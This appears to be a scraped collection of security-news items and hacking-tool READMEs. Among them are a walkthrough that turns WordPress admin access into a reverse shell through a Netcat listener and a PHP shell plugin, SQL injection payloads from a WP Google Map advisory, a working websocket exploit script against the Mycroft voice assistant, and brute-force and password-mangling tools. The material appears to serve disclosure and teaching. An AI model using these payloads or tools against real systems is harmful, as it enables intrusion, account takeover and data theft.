While hackers already hunt for ways to steal money, some vulnerabilities further allow them for successful crypto hacks. Recently, experts from Chinese cybersecurity firm Qihoo’s 360 Netlab revealed a massive theft of $20 Million worth of Ethereum by hackers. Apparently, a Geth vulnerability allowed the hackers to make this theft possible from unsafe clients. Geth Vulnerability Made Ethereum Clients Unsafe A few months ago, 360 Netlab, a Chinese cybersecurity company, told crypto traders about how a Geth vulnerability could let hackers steal money. The issue affected port 8545 which allowed for a hacker to access Geth clients. Now, the researchers confirm that their speculation was right. In fact, not only they confirmed the vulnerability, but they also proved its functionality. According to their recent tweet, hackers have already stolen Ethereum from unsecured Geth clients worth $20 million. Geth is a famous client meant for running full Ethereum nodes that enables the users to manage them remotely through JSON-RPC interface. According to 360 Netlab, Geth by default ‘listens on port 8545’. The hackers, thus, actively look for vulnerabilities in this 8545 port to steal cryptocurrency. Usually, this port is available only locally and is not open to the external internet. Therefore, anyone having this port open publicly is a target for being hacked. Securing Your Wallets From Hackers A quick scan of the hacker’s address will let you know the exact amount. When LHN looked over the hackers account (0x957cD4Ff9b3894FC78b5134A8DC72b032fFbC464), the amount stolen seems to have increased further, crossing the amount of Ether reported earlier (38,642.23856 ETH). At the time of writing this article, the hacker’s wallet shows 38,642.68624 ETH as available. This proves that the hackers are still actively stealing money from unsecured wallets. According to 360 Netlab, you can view these addresses in the payload. “If you’ve honeypot running on port 8545, you should be able to see the requests in the payload which has the wallet addresses. There are quite a few IPs scanning heavily on this port now.” The researchers have also disclosed some wallet addresses that supposedly belong to hackers. Users should only connect with Geth clients from local computers. They can also enable user-authorization for remote RPC connections. Via latesthackingnews.com

Brute Force Tool WordPress , Joomla , DruPal , OpenCart , Magento XBruteForcer Simple brute force script [1] WordPress (Auto Detect Username) [2] Joomla [3] DruPal [4] OpenCart [5] Magento [6] All (Auto Detect CMS) Usage Short Form Long Form Description -l --list websites list -p --passwords Passwords list Example perl XBruteForcer.pl -l list.txt -p passwords.txt BUG? Submit new issue pm me in gmail do you want ask about all my tools ? you can add me in https://fb.me/mohamed.riahi.official.account Installation Linux git clone https://github.com/Moham3dRiahi/XBruteForcer.git cd XBruteForcer perl XBruteForcer.pl -l list.txt -p passwords.txt Installation Android Download Termux cpan install LWP::UserAgent cpan install HTTP::Request git clone https://github.com/Moham3dRiahi/XBruteForcer.git cd XBruteForcer perl XBruteForcer.pl -l list.txt -p passwords.txt Installation Windows Download Perl Download XBruteForcer Extract XBruteForcer into Desktop Open CMD and type the following commands: cd Desktop/XBruteForcer-master/ perl XBruteForcer.pl -l list.txt -p passwords.txt Source

Microsoft’s Patch Tuesday updates for June 2018 address a total of 50 vulnerabilities, including nearly a dozen critical remote code execution flaws affecting Windows and the company’s Edge and Internet Explorer web browsers. None of the security holes patched this month appear to have been exploited for malicious purposes, but one of them has been publicly disclosed before the release of a fix. The disclosed vulnerability is a use-after-free issue that allows an attacker to execute arbitrary code if they can convince the targeted user to open a malicious web page or file. The weakness was reported to Microsoft through Trend Micro’s Zero Day Initiative (ZDI), which made some details public after its 120-day deadline expired. The list of critical vulnerabilities also includes CVE-2018-8225, which impacts the Windows DNS component DNSAPI.dll. An attacker can leverage this flaw to execute arbitrary code in the context of the Local System Account by using a malicious DNS server to send specially crafted DNS responses to the targeted system. Another critical RCE flaw, which Microsoft believes could be exploited in the wild at some point, is CVE-2018-8251 and it impacts the Windows Media Foundation component. An attacker can exploit this flaw to take complete control of a system by getting the targeted user to open a malicious web page or document. A security hole affecting the HTTP Protocol Stack (Http.sys) allows remote code execution by sending a specially crafted packet to the targeted server. While the flaw can be exploited without authentication and is considered critical, Microsoft believes exploitation is “less likely.” The latest security updates also resolve a privilege escalation vulnerability affecting the Cortana voice assistant. The flaw, related to an issue disclosed earlier this year by researchers Amichai Shulman and Tal Be’ery, has been classified as “important” as exploitation requires physical or console access and the targeted system needs to have Cortana enabled. Microsoft also released some mitigations for the recently disclosed Variant 4 of the Spectre/Meltdown vulnerabilities. Adobe has yet to release any Patch Tuesday updates, but the company did resolve a Flash Player zero-day vulnerability earlier this month. The researchers who came across the exploit revealed that the flaw had been leveraged in attacks aimed at entities in the Middle East. Via securityweek.com

Shout out to Chaos Monkey and DustinFinn on Twitter Did you ever want to know how hackers get a reverse shell by compromising your WordPress install? Well wonder no more! After obtaining admin access to your WordPress (this means we either leveraged a vulnerability on your site with an existing vuln that you didn’t patch, guessed your password, or cracked the hash if we were able to obtain it, also by leveraging a vuln) we trick your WordPress into thinking we’re installing a plugin when in reality we’re uploading a shell script which connects us to your underlying file server. So the pre-req is to have admin access to the WordPress site in order for this vector to work. We cannot add plugins or themes as a guest or some other user. After that we go into the Plugins section of the dashboard and add a new one. On our attack box (this is the computer we are going to use to catch the shell into your fileserver) we open up a Netcat listener by going into Terminal and typing something like this: nc -lvp 1337 nc stands for Netcat -lvp Is listen, verbose and port 1337 is the port number on our attack box we are listening on We then create a text file which will contain our shell. For this example let’s use Pentest Monkey’s reverse shell On Kali Linux it is located here: /usr/share/webshells/php/php-reverse-shell.php We copy the contents of the reverse shell into the blank text file. At the top of the file, right under <?php We insert the lines needed for a WordPress Plugin called a header: It doesn’t matter what it says The header starts with /* and ends with */ <?php /* Plugin Name: BlackRoomSec's Evil Reverse Shell Plugin URI: https://www.blackroomsec.com Description: Gets Tara into your cybers, duh! Version: 1.0 baby Author: BRS Author URI: http://www.blackroomsec.com Text Domain: evil-shell Domain Path: /languages */ Then underneath that is the shell script (I snipped this) set_time_limit (0); $VERSION = "1.0"; $ip = '10.10.10.10'; // CHANGE THIS $port = 1337; // CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; // // Daemonise ourself if possible to avoid zombies later // // pcntl_fork is hardly ever available, but will allow us to daemonise / We change these two lines $ip = '10.10.10.10'; // CHANGE THIS $port = 1337; // CHANGE THIS to the IP address of our attack box we are using to catch the shell. If we’re practicing and doing the attack on a vulnerable machine on our own network or on the same subnet, nothing else is needed. However, in some cases if we are attacking a site on the Internet and want to reverse that into our box we have to either forward our ports to accepting incoming traffic OR We can use an attack box that is publicly accessible like a free-tiered Amazon EC2 instance or Google instance. In that case we would use the Public IP address of that system and start a Netcat listener on THAT system and then issue commands from there. The file then gets saved. We then compress the file in .ZIP format as that is the format needed for WordPress plugins and themes. We click install inside WordPress. It says it installs. And then once we hit “activate” our shell will be popped in our Terminal that was listening on port 1337. This gets us in as the www-data user typically. Or, in other words, GUEST. We now need to escalate our privileges by finding a way further into the box. This involves a number of enumeration techniques but typically we will first find a directory that www-data can access and write to. Usually the /tmp/ directory. How we test write capabilities is we issue the command touch test Where touch is the command to create a blank file and “test” is the name of the file. You can call it anything. Then we will copy our enumeration scripts into the files we create. Make them executable. (chmod +x filename) And run them and see what the results give us. Our goal is to get to the root user. Once we get root it’s an End Game scenario for you. We have complete control over your fileserver. Can create users, delete them, change passwords, anything we want. DM me on Twitter with questions. I have them open again for the time being. Source: blackroomsec.com

Full Video: 02:08 - Begin of Recon 14:00 - XXE Detection on Fulcrum API 17:40 - XXE Get Files 23:40 - XXE File Retrieval Working 24:30 - Lets Code a Python WebServer to Aid in XXE Exploitation 39:45 - Combining XXE + SSRF (Server Side Request Forgery) to gain Code Execution 47:28 - Shell Returned + Go Over LinEnum 56:49 - Finding WebUser's Password and using WinRM to pivot 01:06:00 - Getting Shell via WinRM, finding LDAP Credentials 01:14:00 - Using PowerView to Enumerate AD Users 01:27:06 - Start of getting a Shell on FILE (TroubleShooting FW) 01:35:35 - Getting shell over TCP/53 on FILE 01:37:58 - Finding credentials on scripts in Active Directories NetLogon Share, then finding a way to execute code as the Domain Admin... Triple Hop Nightmare 01:58:10 - Troubleshooting the error correctly and getting Domain Admin! 02:03:54 - Begin of unintended method (Rooting the initial Linux Hop) 02:09:54 - Root Exploit Found 02:12:25 - Mounting the VMDK Files and accessing AD.

Due to the surge in cryptocurrency prices, not only hackers but also legitimate websites and mobile apps are increasingly using cryptocurrency miners to monetize by levying the CPU power of your PC and phones to mine cryptocurrencies. However, Apple wants to protect your Mac and iPhone battery from shady cryptocurrency mining apps, and therefore, the company has put restrictions on such apps by disallowing them in its official App Store. The company has updated the Hardware Compatibility section of its App Store guidelines, which now explicitly restrict iOS and Mac apps and ads from mining cryptocurrency in the background. "Apps, including any third party advertisements displayed with them, may not run unrelated background processes, such as cryptocurrency mining," the updated guidelines read. The update reportedly occurred last week, possibly in response to popular Mac app Calendar 2 that bundled a Monero (XMR) miner in with its premium upgrade that unlocked 'advanced' paid features of the scheduling app. Cryptocurrency mining is not a new concept, but the technology has recently been abused in the past years after hackers found it a great way to make millions of dollars by hijacking computers to secretly perform cryptocurrency mining in the background without users' knowledge or consent. Due to this cryptocurrency mining has emerged as one of the biggest threats, raising negative sentiments towards this alternative revenue scheme. However, it seems like Apple guidelines ban any on-device mining that eventually ends up draining Apple devices' batteries by using the device processing power to mine cryptocurrency. However, as long as the mining process is performed somewhere other than the device, such as a remote server or a cloud provider, Apple doesn't have any problem. Wallet apps for cryptocurrency are also fine if the developer is enrolled as an organization, as of apps that facilitate transactions or transmissions of cryptocurrencies, since these apps are offered by the exchanges. In addition, Apple guidelines also state that cryptocurrency apps "may not offer currency for completing tasks, such as downloading other apps, encouraging other users to download, posting to social networks." Apple is not the first one to ban direct mining. Last month, Google also banned cryptocurrency mining extensions from its Chrome Web store to prevent cryptojacking by extensions that maliciously mine digital currencies without users' awareness. In late March, Twitter also announced its plan to block cryptocurrency-related ads on its platform, and in January, Facebook banned all ads promoting cryptocurrencies, including Bitcoin and initial coin offerings (ICOs). Via thehackernews.com

[+] AUTOR: Heitor Gouvêa [+] SITE: https://heitorgouvea.me [+] EMAIL: hi@heitorgouvea.me [+] GITHUB: https://github.com/GouveaHeitor [+] TELEGRAM: @GouveaHeitor See complete documentation here How it works Tor enables users to surf the Internet, chat and send instant messages anonymously, and is used by a wide variety of people for both Licit and Illicit purposes. Tor has, for example, been used by criminals enterprises, Hacktivism groups, and law enforcement agencies at cross purposes, sometimes simultaneously. Nipe is a Script to make Tor Network your Default Gateway. This Perl Script enables you to directly route all your traffic from your computer to the Tor Network through which you can surf the Internet Anonymously without having to worry about being tracked or traced back. Download and install: git clone https://github.com/GouveaHeitor/nipe cd nipe cpan install Switch JSON LWP::UserAgent Commands: COMMAND FUNCTION install Install dependencies start Start routing stop Stop routing restart Restart the Nipe process status See status Examples: perl nipe.pl install perl nipe.pl start perl nipe.pl stop perl nipe.pl restart perl nipe.pl status Bugs Report bugs in my email: hi@heitorgouvea.me License This work is licensed under MIT License Contribution Your contributions and suggestions are heartily♥ welcome. (✿◕‿◕) See here the contribution guidelines Source

WordPress WP Google Map plugin versions 4.0.4 and below suffer from remote SQL injection vulnerabilities. DefenseCode ThunderScan SAST Advisory: WordPress WP Google Map Plugin Multiple SQL injection Security Vulnerabilities Advisory ID: DC-2018-05-002 Advisory Title: WordPress WP Google Map Plugin Multiple SQL injection Vulnerabilities Advisory URL: http://www.defensecode.com/advisories.php Software: WordPress WP Google Map plugin Language: PHP Version: 4.0.4 and below Vendor Status: Vendor contacted, no response Release Date: 2018/06/12 Risk: High 1. General Overview =================== During the security audit of WP Google Map plugin for WordPress CMS, multiple SQL injection vulnerabilities were discovered using DefenseCode ThunderScan application source code security analysis platform. More information about ThunderScan is available at URL: http://www.defensecode.com 2. Software Overview ==================== According to the plugin developers, WP Google Map is #1 Google Maps plugin for WordPress. It allows you to create google maps shortcodes to display responsive google maps on pages, widgets and custom templates. According to wordpress.org, it has more than 100,000 active installs. Homepage: https://wordpress.org/plugins/wp-google-map-plugin/ https://www.wpmapspro.com/ 3. Vulnerability Description ============================ During the security analysis, ThunderScan discovered SQL injection vulnerabilities in WP Google Map WordPress plugin. The easiest way to reproduce the vulnerabilities is to visit the provided URL while being logged in as administrator or another user that is authorized to access the plugin settings page. Users that do not have full administrative privileges could abuse the database access the vulnerabilities provide to either escalate their privileges or obtain and modify database contents they were not supposed to be able to. Due to the missing nonce token, the vulnerable code is also directly exposed to attack vectors such as Cross Site request forgery (CSRF). 3.1 SQL injection Vulnerable Function: $wpdb->get_results() Vulnerable Variable: $_GET['order'] Vulnerable URL: http://vulnerablesite.com/wp-admin/admin.php?page=wpgmp_manage_location&orderby=location_address&order=asc PROCEDURE ANALYSE(EXTRACTVALUE(4242,CONCAT(0x42,(BENCHMARK(42000000,MD5(0x42424242))))),42) File: wp-google-map-plugin/core/class.tabular.php --------- 520 $order = ( ! empty( $_GET['order'] ) ) ? wp_unslash( $_GET['order'] ) : 'asc'; ... 522 $query_to_run .= " order by {$orderby} {$order}"; ... 530 $this->data = $wpdb->get_results( $query_to_run ); --------- 3.2 SQL injection Vulnerable Function: $wpdb->get_results() Vulnerable Variable: $_GET['orderby'] Vulnerable URL: http://vulnerablesite.com/wp-admin/admin.php?page=wpgmp_manage_location&order=asc&orderby=location_address%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(555)))xxx)&order=asc File: wp-google-map-plugin/core/class.tabular.php --------- 519 $orderby = ( ! empty( $_GET['orderby'] ) ) ? wp_unslash( $_GET['orderby'] ) : $this->primary_col; ... 522 $query_to_run .= " order by {$orderby} {$order}"; ... 530 $this->data = $wpdb->get_results( $query_to_run ); --------- 4. Solution =========== All users are strongly advised to update WordPress WP Google Map plugin to the latest available version as soon as the vendor releases an update that fixes the vulnerabilities. 5. Credits ========== Discovered by Neven Biruski using DefenseCode ThunderScan source code security analyzer. 6. Disclosure Timeline ====================== 2018/05/11 Vulnerabilities discovered 2018/05/16 Vendor contacted 2018/06/08 No response 2018/06/12 Advisory released to the public 7. About DefenseCode ==================== DefenseCode L.L.C. delivers products and services designed to analyze and test web, desktop and mobile applications for security vulnerabilities. DefenseCode ThunderScan is a SAST (Static Application Security Testing, WhiteBox Testing) solution for performing extensive security audits of application source code. ThunderScan SAST performs fast and accurate analyses of large and complex source code projects delivering precise results and low false positive rate. DefenseCode WebScanner is a DAST (Dynamic Application Security Testing, BlackBox Testing) solution for comprehensive security audits of active web applications. WebScanner will test a website's security by carrying out a large number of attacks using the most advanced techniques, just as a real attacker would. Subscribe for free software trial on our website http://www.defensecode.com/ . E-mail: defensecode[at]defensecode.com Website: http://www.defensecode.com Twitter: https://twitter.com/DefenseCode/ Source

"Hey Mycroft, we've got a Problem" Getting "Zero Click" Remote Code Execution in Mycroft AI vocal assistant Introduction During my journey contributing to open source I was working with my friend Matteo De Carlo on an AUR Package of a really interesting project called Mycroft AI. It's an AI-powered vocal assistant started with a crowdfunding campaign in 2015 and a more recent one that allowed Mycroft to produce their Mark-I and Mark-II devices. It's also running on Linux Desktop/Server, Raspberry PI and will be available soon™ on Jaguar Type-F and Land Rover Digging in the source code While looking at the source code I found an interesting point: here ... host = config.get("host") port = config.get("port") route = config.get("route") validate_param(host, "websocket.host") validate_param(port, "websocket.port") validate_param(route, "websocket.route") routes = [ (route, WebsocketEventHandler) ] application = web.Application(routes, **settings) application.listen(port, host) ioloop.IOLoop.instance().start() ... So there is a websocket server that doesn't require authentication that by default is exposed on 0.0.0.0:8181/core. Let's test it #!/usr/bin/env python import asyncio import websockets uri = "ws://myserver:8181/core" command = "say pwned" async def sendPayload(): async with websockets.connect(uri) as websocket: await websocket.send("{\"data\": {\"utterances\": [\""+command+"\"]}, \"type\": \"recognizer_loop:utterance\", \"context\": null}") asyncio.get_event_loop().run_until_complete(sendPayload()) And magically we have an answer from the vocal assistant saying pwned! Well, now we can have Mycroft pronounce stuff remotely, but this is not a really big finding unless you want to scare your friends, right? The skills system Digging deeper we can see that Mycroft has a skills system and a default skill that can install others skills (pretty neat, right?) How is a skill composed? From what we can see from the documentation a default skill is composed by: dialog/en-us/command.dialog contains the vocal command that will trigger the skill vocab/en-us/answer.voc contains the answer that Mycroft will pronounce requirements.txt contains the requirements for the skill that will be installed with pip __int__.py contains the main function of the skill and will be loaded when the skill is triggered What can I do? I could create a malicious skill that when triggered runs arbitrary code on the remote machine, but unfortunately this is not possible via vocal command unless the URL of the skill is not whitelisted via the online website. So this is possible but will be a little tricky. So I'm done? Not yet. I found out that I can trigger skills remotely and that is possible to execute commands on a remote machine convincing the user to install a malicious skill. I may have enough to submit a vulnerability report. But maybe I can do a bit better... Getting a remote shell using default skills We know that Mycroft has some default skills like open that will open an application and others that are whitelisted but not installed. Reading through to the list, I found a really interesting skill called skill-autogui, whose description says Manipulate your mouse and keyboard with Mycroft. We got it! Let's try to combine everything we found so far into a PoC: #!/usr/bin/env python import sys import asyncio import websockets import time cmds = ["mute audio"] + sys.argv[1:] uri = "ws://myserver:8181/core" async def sendPayload(): for payload in cmds: async with websockets.connect(uri) as websocket: await websocket.send("{\"data\": {\"utterances\": [\""+payload+"\"]}, \"type\": \"recognizer_loop:utterance\", \"context\": null}") time.sleep(1) asyncio.get_event_loop().run_until_complete(sendPayload()) Running the exploit with python pwn.py "install autogui" "open xterm" "type echo pwned" "press enter" allowed me to finally get a command execution on a Linux machine. Notes open xterm was needed because my test Linux environment had a DE installed, on a remote server the commands will be executed directly on TTY so this step is not nesessary. The skill branching had a big change and now some skills are not (yet) available (autogui is one of them) but this is not the real point. Mycroft has skills to interact with domotic houses and other services that can still be manipulated (the lack of imagination is the limit here). The vulnerability lies in the lack of authentication for the ws. Affected devices All the devices running Mycroft <= ? with the websocket server exposed (Mark-I has the websocket behind a firewall by default) Interested in my work? Follow me on: Twitter: @0x7a657461 Linkedin: https://linkedin.com/in/0xzeta GitHub: https://github.com/Nhoya Timeline 08/03/2018 Vulnerability found 09/03/2018 Vulnerability reported 13/03/2018 The CTO answered that they are aware of this problem and are currently working on a patch 06/06/2018 The CTO said that they have no problem with the release of the vulnerability and will add a warning to remember the user to use a firewall ¯\_(ツ)_/¯ 09/06/2018 Public disclosure Source

The Necurs botnet is driving a fresh spam campaign that uses Excel Web Query (.IQY) file attachments to skim under the antivirus radar. If successful, the attack ultimately delivers the remote access trojan (RAT) known as FlawedAmmyy. This is the third wave in an offensive that started in late May. The emails, posing as internal company communications regarding an “unpaid invoice,” are part of one of the first prolific campaigns in the wild to use .IQY attachments, according to Barkly researchers. Unlike full Excel spreadsheets, which are usually inspected by AV engines when they come in as email attachments, the comparatively diminutive .IQY files aren’t usually indexed by AV software. This is likely because they’ve never really been weaponized in the past, plus, they’re lightweight affairs from a size perspective, being simple, plaintext files. As a result, this week’s campaign has had remarkably low detections, according to VirusTotal. Researcher Derek Knight (@dvk01uk), who spotted the first campaign, pointed out that “These blow past all antiviruses because they have no malicious content.” However, .IQY files are deceptive, because they act as downloaders. “They’re extremely simple (just a few lines of text), but also powerful,” said Barkly researchers, in an analysis this week. “The .IQY files used in these campaigns download a PowerShell script, which is launched via Excel and kicks off a chain of malicious downloads.” When opened, the .IQY file launches via Excel (its default program) and attempts to pull data from the URL included inside. In the case of the Necurs spam, that data happens to be a malicious PowerShell script. Barkly researchers added, “The ability of these files to open Excel and (if users choose to ignore warnings) download any data from the internet makes them extremely dangerous.” The Payload and the Botnet Built from leaked source code of the popular remote desktop software Ammyy Admin, FlawedAmmyy first drew attention to itself in March. Proofpoint researchers discovered at the time that the previously undocumented RAT had actually been used since the beginning of 2016. It’s been used in two types of campaigns: highly targeted email attacks against the automotive industry, among others; and massive, multi-million message campaigns that Proofpoint researchers said appear to be associated with threat actor TA505, which has been active for the last four years. FlawedAmmy offers the same bells and whistles as the legitimate version: complete access to victim machines. That allows them to steal files and credentials, hijack computers to send out more spam emails, and more. Meanwhile, the choice of Necurs as a delivery mechanism makes for a wide attack surface. Over the past five years it has become the Scarface of spam, working its way up from nothing to sit atop a massive criminal enterprise. Cisco Talos analysis shows it to be the world’s largest spambot, accounting for more than 90 percent of the daily spam seen by the firm. Its evaluation of Necurs traffic between August and November of last year detected more than 2.1 million spam messages, sent from almost 1.2 million distinct sending IP addresses, in over 200 countries and territories. Mitigation Barkly pointed out that as long as Microsoft Office is configured to block external content (which is the default), when Excel launches users will be presented with a warning prompt, and users must actively choose to enable the macros: Even if a user clicks “yes,” another prompt shows up: For IT admins that don’t want to leave protection to user awareness, Barkly suggests adjusting the firewall settings and email filtering to block .IQY files altogether unless they’re actively used in the business. It’s also possible to instruct Windows to always open .IQY files in Notepad so they can be inspected by IT before they launch. It’s wise to have a plan, given that these specific campaigns are likely not the end of criminals using .IQY files. Source

Quick Installation: $ git clone https://github.com/localh0t/m4ngl3m3 $ cd m4ngl3m3 $ ./main.py Basic Help: usage: main.py [-h] [-fy FROM_YEAR] [-ty TO_YEAR] [-sy] [-nf NUMBERS_FILE] [-sf SYMBOLS_FILE] [-cf CUSTOM_FILE] [-sbs] [-sap] [-mm MUTATION_METHODS] MUTATION_MODE STRINGS_FILE OUTPUT_FILE Common password pattern generator using strings list positional arguments: MUTATION_MODE Mutation mode to perform: (prefix-mode | suffix-mode | dual-mode) STRINGS_FILE File with strings to mutate OUTPUT_FILE Where to write the mutated strings optional arguments: -h, --help show this help message and exit -fy FROM_YEAR, --from-year FROM_YEAR Year where our iteration starts (default: 2015) -ty TO_YEAR, --to-year TO_YEAR Year where our iteration ends (default: 2020) -sy, --short-year Also add shorter year form when iterating (default: False) -nf NUMBERS_FILE, --numbers-file NUMBERS_FILE Numbers prefix/suffix file (default: ./files/numbers/numbers_set2.txt) -sf SYMBOLS_FILE, --symbols-file SYMBOLS_FILE Symbols prefix/suffix file (default: ./files/symbols/symbols_set2.txt) -cf CUSTOM_FILE, --custom-file CUSTOM_FILE Custom words/dates/initials/etc file (default: None) -sbs, --symbols-before-suffix Insert symbols also before years/numbers/ custom (when in suffix-mode or dual-mode) (default: False) -sap, --symbols-after-prefix Insert symbols also after years/numbers/ custom (when in prefix-mode or dual-mode) (default: False) -mm MUTATION_METHODS, --mutation-methods MUTATION_METHODS Mutation methods to perform (comma separated, no spaces) (valid: see MUTATION_METHODS.md) (default: normal,uppercase,firstup,replacevowels) --from-year (-fy), --to-year (-ty): Here we set where we want our script to start and end iterating over years. Many times people include the current year in an effort to add some entropy. Because passwords could be outdated, or the years included could be in the (near) future, we are going to add them as a range. For online environments, we would be looking at a conservative approach and only include ranges in the order of (-1, +1) or (-2, +2). For offline environments, the range could be wider to (-20, +5) or even (-50, +10). Output example: password2017 [...] password2018 [...] password2019 --short-year (-sy): When iterating years, also add its shorter double digit form. Output example: password17 [...] password18 [...] password19 --numbers-file (-nf): In this argument we are going to select a file containing numbers that people frequently add to their passwords. By default I included 6 sets, the largest being the 6, and the rest being subsets of the previous one. The numbers included in the first sets (1,2…) are more likely to be present that the ones only included in latest sets (…5,6). Again, for online environments, we would be looking at using the first three sets, where in offline environments, we could use the last ones. By default, the script uses the set number 2. Output example: password1 [...] password123 [...] password1234 --symbols-file (-sf): In this argument we are going to select a file containing symbols that people frequently add to their passwords. Again, set number 1 is the shortest, set number 6 is the largest. The symbols included in the first sets (1,2…) are more likely to be present that the ones only included in latest sets (…5,6). By default, the script uses the set number 2. Output example: password123! [...] password2018? [...] password1234. --custom-file (-cf): Here we add anything else we know about our targets (and it’s not considered as the “base” of the password itself). Let the creativity roll in! It could be from company initials, birth dates, special dates… to specific years, short keywords, etc. This custom strings will be treated in the same way that the years/numbers. Output example: passwordABC [...] password01011980! [...] password.admin MUTATION_MODE (positional argument): In this parameter we are going to select how the tool will work when shifting strings. You can choose one of three: suffix-mode: It will add years, numbers, symbols and custom after the main string. Example: password2018! prefix-mode: It will add years, numbers, symbols and custom before the main string. Example: !2018password dual-mode: As the name suggests, it uses both modes (generates both outputs). STRINGS_FILE (positional argument): File containing strings to mutate. If you’re for example, doing a pentest and don’t know where to start, I would suggest you using a tool like CeWL to spider the company website, and keep the most recurring words (including the company name of course). OUTPUT_FILE (positional argument): Simply, file where we want to write the mutated strings. --symbols-before-suffix (-sbs): When this flag is enabled, and we are running the tool either in suffix-mode or dual-mode, the script will also add the symbols before years/numbers/custom. Output example: password2018! [...] password!2018 [...] --symbols-after-prefix (-sap): When this flag is enabled, and we are running the tool either in prefix-mode or dual-mode, the script will also add the symbols after years/numbers/custom. Output example: !2018password [...] 2018!password [...] --mutation-methods (-mm): In this parameter we define which mutation methods are going to be performed. Mutation methods are base transformations made before starting iterating over years/numbers/symbols/custom. You can select as many mutation methods as you want. For a list of all valid mutation methods, check: MUTATION_METHODS.md. By default, m4ngl3m3! runs with the following: Normal, UpperCase, FirstUp and ReplaceVowels. Usage examples: In order to see some basic usage examples, please take a look at: USAGE_EXAMPLES.md Source

Pentesting suite for Maltego based on data in a Metasploit database THIS IS A BETA RELEASE, please be nice and report any issues msploitego leverages the data gathered in a Metasploit database by enumerating and creating specific entities for services. Services like samba, smtp, snmp, http have transforms to enumerate even further. Entities can either be loaded from a Metasploit XML file or taken directly from the Postgres msf database Requirements Python 2.7 Has only been tested on Kali Linux software installations Metasploit Framework nmap enum4linux snmp-check nikto exploitdb Installation In Maltego import config from msploitego/src/msploitego/resources/maltego/msploitego.mtz checkout and update the transform path inside Maltego easiest way would be to create a symbolic link to the transforms directory in /root/) ln -s /path/to/your/msploitego/src/msploitego/transforms /root/ General Use Using exported Metasploit xml file run a db_nmap scan in metatasploit, or import a previous scan msf> db_nmap -vvvv -T5 -A -sS -ST -Pn msf> db_import /path/to/your/nmapfile.xml export the database to an xml file msf> db_export -f xml /path/to/your/output.xml In Maltego drag a MetasploitDBXML entity onto the graph. Update the entity with the path to your metasploit database file. run the MetasploitDB transform to enumerate hosts. from there several transforms are available to enumerate services, vulnerabilities stored in the metasploit DB Using Postgres drag and drop a Postgresql DB entity onto the canvas, enter DB details. run the Postgresql transforms directly against a running DB Notes Instead of running a nikto scan directly from Maltego, I've opted to include a field to for a Nikto XML file. Nikto can take long time to run so best to manage that directly from the os. Enter the full path filename in the 'Nikto File' field, then run the Nikto parser to enumerate. TODO's Connect directly to the postgres database - BETA Much, much, much more tranforms for actions on generated entities. Download: msploitego-master.zip git clone https://github.com/shizzz477/msploitego.git Source

Matthew Chen, Neha Narwal and Mila Schultz Stanford University Stanford, CA 94305 [mchenja, nnarwal, milafaye]@stanford.edu Download: http://cs229.stanford.edu/proj2017/final-reports/5244039.pdf